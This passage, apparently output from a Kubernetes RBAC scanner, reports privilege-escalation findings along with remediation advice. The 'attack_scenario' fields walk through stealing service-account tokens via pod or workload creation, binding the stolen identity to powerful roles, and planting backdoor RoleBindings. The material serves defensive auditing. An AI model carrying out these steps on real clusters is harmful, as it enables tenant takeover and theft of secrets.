      "target_namespace": "cutres",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-pod-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-pod-create:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach **namespace-admin in `deepchain-tenant`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-pod-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-pod-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-pod-create:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach **namespace-admin in `rbac-ns-fixtures`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  2. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-pod-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-pod-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-workload-mutate:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach **namespace-admin in `cutres`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cutres/cutres-detour` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cutres/cutres-detour\n  2. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/cutres/cutres-detour`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "workload_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
